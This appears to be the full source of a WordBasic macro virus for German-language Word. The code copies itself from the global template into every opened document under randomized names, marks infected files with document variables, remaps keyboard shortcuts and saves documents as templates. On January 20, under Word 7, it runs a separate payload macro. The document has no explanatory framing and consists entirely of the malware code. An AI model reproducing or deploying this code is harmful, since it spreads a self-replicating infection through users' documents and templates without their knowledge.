Sub MAIN
On Error Goto Finish

A$ = DateiName$()
If A$ = "" Then Goto Finish

UZ$ = GetProfileString$("Intl", "Name")
ZU$ = GetProfileString$("Intl", "Name2")
ZUZ$ = GetProfileString$("Intl", "Name3")

If CheckInstalledDoc = 1 Then
	Goto Finish
Else
	On Error Resume Next
	DateiSpeichernUnter .Format = 1
	Routine
	Crypt
	PayloadMakro
	DateiAllesSpeichern 1, 0
End If

Finish:
A$ = DateiName$()
If A$ = "" Then
	Goto Finito
Else
	Einfgen "e"
End If
Finito:
If Monat(Jetzt()) = 1 And Tag(Jetzt()) = 20 Then
	Goto Payload
Else
	Goto NO
End If

Payload:
If (InStr(AnwInfo$(1), "Macintosh") > 0) Then Goto NO
If (InStr(AnwInfo$(1), "Windows 3.") > 0) Then Goto NO
If Left$(AnwInfo$(2), 1) = "6" Then
	Goto NO
Else
	Goto YES
End If

YES:
WordVer = Val(Left$(AnwInfo$(2), 1))
AL$ = Str$(WordVer)
AL$ = LTrim$(AL$)

If AL$ = "7" Then
	Goto Payload_Start
Else
	Goto NO
End If

Payload_Start:
AK$ = GetProfileString$("Intl", "Name3")
ExtrasMakro .Name = AK$, .Ausfhren, .Anzeigen = 0, .Beschreibung = "", .NeuerName = ""

NO:
End Sub

Sub Crypt
One = 7369
Two = 9291
Num = Int(Rnd() * (Two - One) + One)
A$ = Str$(Num)
A$ = LTrim$(A$)

Beginn = Stunde(Jetzt())
B$ = Str$(Beginn)
B$ = LTrim$(B$)

If B$ = "1" Then C$ = "A"
If B$ = "2" Then C$ = "B"
If B$ = "3" Then C$ = "C"
If B$ = "4" Then C$ = "D"
If B$ = "5" Then C$ = "E"
If B$ = "6" Then C$ = "F"
If B$ = "7" Then C$ = "G"
If B$ = "8" Then C$ = "H"
If B$ = "9" Then C$ = "I"
If B$ = "10" Then C$ = "J"
If B$ = "11" Then C$ = "K"
If B$ = "12" Then C$ = "L"
If B$ = "13" Then C$ = "M"
If B$ = "14" Then C$ = "N"
If B$ = "15" Then C$ = "O"
If B$ = "16" Then C$ = "P"
If B$ = "17" Then C$ = "Q"
If B$ = "18" Then C$ = "R"
If B$ = "19" Then C$ = "S"
If B$ = "20" Then C$ = "T"
If B$ = "21" Then C$ = "U"
If B$ = "22" Then C$ = "V"
If B$ = "23" Then C$ = "W"
If B$ = "00" Then C$ = "X"

E$ = C$ + A$
ZU$ = GetProfileString$("Intl", "Name2")
MakroKopieren "Global:" + ZU$, FensterName$() + ":" + E$, 1
DokumentVariableBestimmen "VirNameDoc", E$
ExtrasAnpassenTastatur .TastenSchlssel = 69, .Kategorie = 2, .Name = E$, .Hinzufgen, .Kontext = 1
End Sub


Sub Routine
One = 7369
Two = 9291
Num = Int(Rnd() * (Two - One) + One)
A$ = Str$(Num)
A$ = LTrim$(A$)

Beginn = Stunde(Jetzt())
B$ = Str$(Beginn)
B$ = LTrim$(B$)

If B$ = "1" Then C$ = "A"
If B$ = "2" Then C$ = "B"
If B$ = "3" Then C$ = "C"
If B$ = "4" Then C$ = "D"
If B$ = "5" Then C$ = "E"
If B$ = "6" Then C$ = "F"
If B$ = "7" Then C$ = "G"
If B$ = "8" Then C$ = "H"
If B$ = "9" Then C$ = "I"
If B$ = "10" Then C$ = "J"
If B$ = "11" Then C$ = "K"
If B$ = "12" Then C$ = "L"
If B$ = "13" Then C$ = "M"
If B$ = "14" Then C$ = "N"
If B$ = "15" Then C$ = "O"
If B$ = "16" Then C$ = "P"
If B$ = "17" Then C$ = "Q"
If B$ = "18" Then C$ = "R"
If B$ = "19" Then C$ = "S"
If B$ = "20" Then C$ = "T"
If B$ = "21" Then C$ = "U"
If B$ = "22" Then C$ = "V"
If B$ = "23" Then C$ = "W"
If B$ = "00" Then C$ = "X"

D$ = C$ + A$
UZ$ = GetProfileString$("Intl", "Name")
MakroKopieren "Global:" + UZ$, FensterName$() + ":" + D$, 1
DokumentVariableBestimmen "VirName", D$
ExtrasAnpassenTastatur .TastenSchlssel = 32, .Kategorie = 2, .Name = D$, .Hinzufgen, .Kontext = 1
End Sub

Sub PayloadMakro
One = 7369
Two = 9291
Num = Int(Rnd() * (Two - One) + One)
A$ = Str$(Num)
A$ = LTrim$(A$)

Beginn = Stunde(Jetzt())
B$ = Str$(Beginn)
B$ = LTrim$(B$)

If B$ = "1" Then C$ = "A"
If B$ = "2" Then C$ = "B"
If B$ = "3" Then C$ = "C"
If B$ = "4" Then C$ = "D"
If B$ = "5" Then C$ = "E"
If B$ = "6" Then C$ = "F"
If B$ = "7" Then C$ = "G"
If B$ = "8" Then C$ = "H"
If B$ = "9" Then C$ = "I"
If B$ = "10" Then C$ = "J"
If B$ = "11" Then C$ = "K"
If B$ = "12" Then C$ = "L"
If B$ = "13" Then C$ = "M"
If B$ = "14" Then C$ = "N"
If B$ = "15" Then C$ = "O"
If B$ = "16" Then C$ = "P"
If B$ = "17" Then C$ = "Q"
If B$ = "18" Then C$ = "R"
If B$ = "19" Then C$ = "S"
If B$ = "20" Then C$ = "T"
If B$ = "21" Then C$ = "U"
If B$ = "22" Then C$ = "V"
If B$ = "23" Then C$ = "W"
If B$ = "00" Then C$ = "X"

K$ = C$ + A$
ZUZ$ = GetProfileString$("Intl", "Name3")
MakroKopieren "Global:" + ZUZ$, FensterName$() + ":" + K$, 1
DokumentVariableBestimmen "VirNamePayload", K$
End Sub

Function CheckInstalledDoc
On Error Resume Next
CC$ = AbrufenDokumentVar$("VirNameDoc")    
	CheckInstalledDoc = 0
    If ZhlenMakros(1) > 0 Then
        For i = 1 To ZhlenMakros(1)
            If MakroName$(i, 1) = CC$ Then
                CheckInstalledDoc = 1
            End If
        Next i
    End If
End Function
